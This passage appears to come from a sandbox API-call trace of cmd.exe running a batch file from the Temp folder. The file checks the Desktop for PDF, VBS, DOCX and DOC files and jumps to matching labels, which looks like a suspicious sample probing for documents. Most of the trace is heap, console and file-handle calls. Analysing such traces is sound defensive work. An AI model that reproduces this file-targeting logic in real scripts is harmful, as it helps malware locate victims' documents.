0x4e0000 [0037.862] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.862] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.862] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.862] GetProcessHeap () returned 0x4e0000 [0037.862] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.862] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.862] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.862] GetProcessHeap () returned 0x4e0000 [0037.862] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.862] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.862] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.862] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.862] GetProcessHeap () returned 0x4e0000 [0037.862] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.862] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.862] GetProcessHeap () returned 0x4e0000 [0037.862] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.862] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.862] GetProcessHeap () returned 0x4e0000 [0037.862] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.862] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.863] _tell (_FileHandle=3) returned 3749 [0037.863] _close (_FileHandle=3) returned 0 [0037.863] GetFullPathNameW (in: lpFileName="*.pdf", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pdf", lpFilePart=0x41eea8*="*.pdf") returned 0x2b [0037.864] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.864] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pdf", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.864] GetLastError () returned 0x2 [0037.864] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.864] GetLastError () returned 0x6 [0037.864] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.864] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.865] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.865] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.866] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.866] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.866] SetConsoleInputExeNameW () returned 0x1 [0037.866] GetConsoleOutputCP () returned 0x1b5 [0037.866] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.866] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.866] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.866] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.866] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.867] SetFilePointer (in: hFile=0x74, lDistanceToMove=3749, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xea5 [0037.867] GetProcessHeap () returned 0x4e0000 [0037.867] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.867] GetProcessHeap () returned 0x4e0000 [0037.867] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.867] GetProcessHeap () returned 0x4e0000 [0037.867] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.867] GetProcessHeap () returned 0x4e0000 [0037.867] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.867] GetProcessHeap () returned 0x4e0000 [0037.867] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.867] GetProcessHeap () returned 0x4e0000 [0037.867] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.867] GetProcessHeap () returned 0x4e0000 [0037.867] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.867] GetProcessHeap () returned 0x4e0000 [0037.867] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.867] GetProcessHeap () returned 0x4e0000 [0037.867] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.867] GetProcessHeap () returned 0x4e0000 [0037.867] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.867] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.867] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xea5 [0037.868] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1788, lpOverlapped=0x0) returned 1 [0037.868] SetFilePointer (in: hFile=0x74, lDistanceToMove=3774, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xebe [0037.868] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.vbs goto vbs\r\n\n\n") returned 25 [0037.868] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.868] GetFileType (hFile=0x74) returned 0x1 [0037.868] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.868] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xebe [0037.868] GetProcessHeap () returned 0x4e0000 [0037.868] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.868] GetProcessHeap () returned 0x4e0000 [0037.868] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.868] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.868] GetProcessHeap () returned 0x4e0000 [0037.868] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.868] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.868] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.868] GetProcessHeap () returned 0x4e0000 [0037.868] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.868] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.868] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.869] GetProcessHeap () returned 0x4e0000 [0037.869] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.869] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.869] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.869] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.869] GetProcessHeap () returned 0x4e0000 [0037.869] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.869] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.869] GetProcessHeap () returned 0x4e0000 [0037.869] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.869] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.869] GetProcessHeap () returned 0x4e0000 [0037.869] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.869] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.870] _tell (_FileHandle=3) returned 3774 [0037.870] _close (_FileHandle=3) returned 0 [0037.870] GetFullPathNameW (in: lpFileName="*.vbs", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.vbs", lpFilePart=0x41eea8*="*.vbs") returned 0x2b [0037.870] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.870] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.vbs", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.870] GetLastError () returned 0x2 [0037.870] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.870] GetLastError () returned 0x6 [0037.870] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.870] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.871] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.871] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.871] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.871] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.871] SetConsoleInputExeNameW () returned 0x1 [0037.871] GetConsoleOutputCP () returned 0x1b5 [0037.872] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.872] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.872] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.872] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.872] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.872] SetFilePointer (in: hFile=0x74, lDistanceToMove=3774, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xebe [0037.872] GetProcessHeap () returned 0x4e0000 [0037.872] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.872] GetProcessHeap () returned 0x4e0000 [0037.872] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.872] GetProcessHeap () returned 0x4e0000 [0037.872] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.872] GetProcessHeap () returned 0x4e0000 [0037.872] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.872] GetProcessHeap () returned 0x4e0000 [0037.872] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.872] GetProcessHeap () returned 0x4e0000 [0037.872] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.872] GetProcessHeap () returned 0x4e0000 [0037.872] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.873] GetProcessHeap () returned 0x4e0000 [0037.873] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.873] GetProcessHeap () returned 0x4e0000 [0037.873] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.873] GetProcessHeap () returned 0x4e0000 [0037.873] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.873] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.873] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xebe [0037.873] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x176f, lpOverlapped=0x0) returned 1 [0037.873] SetFilePointer (in: hFile=0x74, lDistanceToMove=3776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xec0 [0037.873] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.vbs goto vbs\r\n\n\n") returned 2 [0037.873] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.873] GetFileType (hFile=0x74) returned 0x1 [0037.873] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.873] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xec0 [0037.873] GetProcessHeap () returned 0x4e0000 [0037.873] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.873] GetProcessHeap () returned 0x4e0000 [0037.873] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.873] _tell (_FileHandle=3) returned 3776 [0037.874] _close (_FileHandle=3) returned 0 [0037.874] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.874] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.874] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.874] SetFilePointer (in: hFile=0x74, lDistanceToMove=3776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xec0 [0037.874] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.874] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xec0 [0037.874] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x176d, lpOverlapped=0x0) returned 1 [0037.874] SetFilePointer (in: hFile=0x74, lDistanceToMove=3803, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xedb [0037.874] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.docx goto docx\r\n") returned 27 [0037.874] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.874] GetFileType (hFile=0x74) returned 0x1 [0037.874] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.875] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xedb [0037.875] GetProcessHeap () returned 0x4e0000 [0037.875] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.875] GetProcessHeap () returned 0x4e0000 [0037.875] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.875] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.875] GetProcessHeap () returned 0x4e0000 [0037.875] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.875] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.875] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.875] GetProcessHeap () returned 0x4e0000 [0037.875] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.875] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.875] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.875] GetProcessHeap () returned 0x4e0000 [0037.875] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.875] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.875] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.875] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f4b38 [0037.875] GetProcessHeap () returned 0x4e0000 [0037.875] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x24) returned 0x4f4b58 [0037.875] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f4b58, Size=0x18) returned 0x4f4b58 [0037.875] GetProcessHeap () returned 0x4e0000 [0037.876] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x18 [0037.876] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.876] GetProcessHeap () returned 0x4e0000 [0037.876] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.876] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4bf8 [0037.876] _tell (_FileHandle=3) returned 3803 [0037.877] _close (_FileHandle=3) returned 0 [0037.877] GetFullPathNameW (in: lpFileName="*.docx", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.docx", lpFilePart=0x41eea8*="*.docx") returned 0x2c [0037.877] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.877] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.docx", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.877] GetLastError () returned 0x2 [0037.877] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.877] GetLastError () returned 0x6 [0037.877] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.877] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.877] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.877] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.878] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.878] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.878] SetConsoleInputExeNameW () returned 0x1 [0037.878] GetConsoleOutputCP () returned 0x1b5 [0037.878] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.878] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.878] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.879] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.879] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.879] SetFilePointer (in: hFile=0x74, lDistanceToMove=3803, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xedb [0037.879] GetProcessHeap () returned 0x4e0000 [0037.879] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.879] GetProcessHeap () returned 0x4e0000 [0037.879] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.879] GetProcessHeap () returned 0x4e0000 [0037.879] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.879] GetProcessHeap () returned 0x4e0000 [0037.879] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.879] GetProcessHeap () returned 0x4e0000 [0037.879] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.879] GetProcessHeap () returned 0x4e0000 [0037.879] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.879] GetProcessHeap () returned 0x4e0000 [0037.879] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.879] GetProcessHeap () returned 0x4e0000 [0037.879] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.879] GetProcessHeap () returned 0x4e0000 [0037.879] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.879] GetProcessHeap () returned 0x4e0000 [0037.879] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.879] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.880] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xedb [0037.880] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1752, lpOverlapped=0x0) returned 1 [0037.880] SetFilePointer (in: hFile=0x74, lDistanceToMove=3805, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xedd [0037.880] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.docx goto docx\r\n") returned 2 [0037.880] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.880] GetFileType (hFile=0x74) returned 0x1 [0037.880] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.880] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xedd [0037.880] GetProcessHeap () returned 0x4e0000 [0037.880] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.880] GetProcessHeap () returned 0x4e0000 [0037.880] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.880] _tell (_FileHandle=3) returned 3805 [0037.880] _close (_FileHandle=3) returned 0 [0037.880] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.881] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.881] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.881] SetFilePointer (in: hFile=0x74, lDistanceToMove=3805, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xedd [0037.881] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.881] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xedd [0037.881] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1750, lpOverlapped=0x0) returned 1 [0037.881] SetFilePointer (in: hFile=0x74, lDistanceToMove=3830, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xef6 [0037.881] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.doc goto doc\r\n\r\n") returned 25 [0037.881] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.881] GetFileType (hFile=0x74) returned 0x1 [0037.881] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.881] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xef6 [0037.881] GetProcessHeap () returned 0x4e0000 [0037.881] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.881] GetProcessHeap () returned 0x4e0000 [0037.881] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.881] 